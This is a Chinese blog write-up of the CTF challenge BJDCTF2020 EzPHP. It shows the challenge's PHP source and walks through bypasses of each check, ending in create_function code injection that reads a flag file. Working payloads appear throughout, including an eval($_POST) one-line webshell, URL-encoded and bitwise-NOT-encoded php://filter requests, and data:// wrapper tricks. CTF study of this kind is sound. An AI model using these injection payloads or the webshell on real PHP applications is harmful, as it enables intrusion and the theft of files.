window.cnblogsConfig = { progressBar: { color : '#77b6ff', }, }

#[BJDCTF2020]EzPHP(PHP特性绕过闯关)

[BJDCTF2020]EzPHP(PHP特性绕过闯关)

题目

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

解题思路

​ 可以看到我们如果需要拿到flag就要穿过6个if。据出题人的说法,本题考察的是create_function()函数。题目我看了。看不懂。既然考察的是create_function()。知识点也在我们能力范畴之外。因此跟着出题人的WP复现了一波。

核心考点:Create_function()

用法如下。用于创建一个方法,变量名为方法名,第一个参数为新方法的形参,第二个参数为新方法的内容。

image-20210822164953858

由于题目中我们的code是可控的,那么我们可以构造如下函数:

<?php
    $myFunc = create_function('$a,$b','return ($a+$b);}eval($_POST[1]);\\')
    #如此一来执行的myFunc就变成了
    function myFunc($a,$b){
    return ($a+$b);}
	eval($_POST[1]);\\
}

在这里可以看见我们成功嵌入了一段一句话木马。

image-20210822165828641

考点1:绕过QUERY_STRING的正则匹配

preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])

php中因为$_SERVER['QUERY_STRING']不会进行urldecode,而$_GET[]会进行解码。因此我们通过urlencode绕过该正则匹配。

payload1:?file=

考点2:绕过aqua_is_cute的正则匹配

if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute')

因为是^.+$形式的正则匹配。那么直接使用换行符%0a绕过。因为debu,auqa,cute在第一个If中。因此对他三个进行urlencode.

注意这里的%0a是用来满足debu!==aqua_is_cute。

payload2:debu=aqua_is_cute%0a==>%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

考点3:绕过$_REQUEST的字母匹配。

  foreach($_REQUEST as $value) 
        if(preg_match('/[a-zA-Z]/i', $value))

这里是通过数组遍历的方式,来进行正则匹配。那么我们传入的参数。

知识点是,在post和get同时存在时,request提取post数据的优先级高于get。因此我们post给file=1&debu=1

GET:debu=aqua_is_cute%0a&file=
urlencde:%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=

POST:file=1&debu=1

考点4:绕过文件内容读取的比较

if (file_get_contents($file) !== 'debu_debu_aqua')

因为file_get_contents的特性。我们可以考虑使用php伪协议来绕过这个点。因为debu_debu_aqua在第一个if中。所以Urlencode

payload4:
    GET:debu=aqua_is_cute&file=data://text/plain,base64,debu_debu_aqua	urlencncode:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
	POST:file=1&debu=1

data://text/plain;base64,debu_debu_aqua

考点5:绕过sha1松散比较

if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

因为sha1无法处理数组,因此我们通过数组绕过。

payload5:
GET:debu=aqua_is_cute&file=data://text/plain;base64,debu_debu_aqua&shanap[]=1&passwd[]=2
urlencode:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2
POST:file=1&debu=1

create_function:

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

​ 前面都绕过了。那么我们要如何去读到这个flag呢。首先可以看到文件中有包含flag.php。那么一定存在$flag变量。

那么我们可以通过读取变量的方式.使用get_defined_vars()。再根据create_function。因为code做了很多过滤。我们可以想到用字母数字的webshell。再看题目上是$code(' ',$arg);这里我们的两个点都可控。

$code=create_function&$arg=}var_dump(get_defined_vars());\

因为code,和arg都在第一个if中。所以进行urlencode

最终payload:

GET:debu=aqua_is_cute&file=data://text/plain;base64,debu_debu_aqua&shanap[]=1&passwd[]=2
urlencode:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(get_defined_vars());//
POST:file=1&debu=1

image-20210822190836089

可恶!给出了真实flag的位置1fl4g.php。那么我们继续想办法去读这个文件。

根据上面的get_defined_vars();那么很容易想到我们把这个rea1fl4g.php也包含进来。

require(rea1fl4g.php);

发现也读不到源码

原题目的预期解是这个。但是加了base64_decode来解码。因为code被Ban了。那么继续对base64_decode进行urlencode

原题目payload:

GET:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(%62%61%73%65%36%34%5F%64%65%63%6F%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//
POST:file=1&debu=1

本题payload:

​ 因为~没有被过滤。那么可以进行取反构造php://filter伪协议来读取flag.

php://filter/read=convert.base64-encode/resource=rea1fl4g.php
GET:file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
POST:file=1&debu=1

唯一一个我看得懂的非预期解:

GET:
file=data://text/plain,%64%65%62%75%5F%64%65%62%75%5F%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%73%68%61%6E%61[]=1&%70%61%73%73%77%64[]=2&%66%6C%61%67[%63%6F%64%65]=create_function&%66%6C%61%67[%61%72%67]=}var_dump(require(end(pos(get_defined_vars()))));//&k1he=%70%68%70%3A%2F%2F%66%69%6C%74%65%72%2F%72%65%61%64%3D%63%6F%6E%76%65%72%74%2E%62%61%73%65%36%34%2D%65%6E%63%6F%64%65%2F%72%65%73%6F%75%72%63%65%3D%72%65%61%31%66%6C%34%67%2E%70%68%70
POST:
file=1&debu=2&k1he=1

主要看这个flag[code]=}var_dump(require(end(pos(get_defined_vars()))));//

因为pos()取内部指针的首个元素,得到一个我们传参的GET数组image-20210822204452173

可以看见我们在传参k1he=php伪协议以后,这个数组中有了这个东西。

然后利用end()取这个数组的最后一个数,那不就是我们的伪协议吗。

那么就等价于了一个文件包含伪协议。

又因为我们的k1he不是数组,绕不过全是字母的正则匹配。因此传参里再加一个k1he=1来绕过。

posted @ 2021-08-22 20:56  k1he  阅读(307)  评论(0编辑  收藏  举报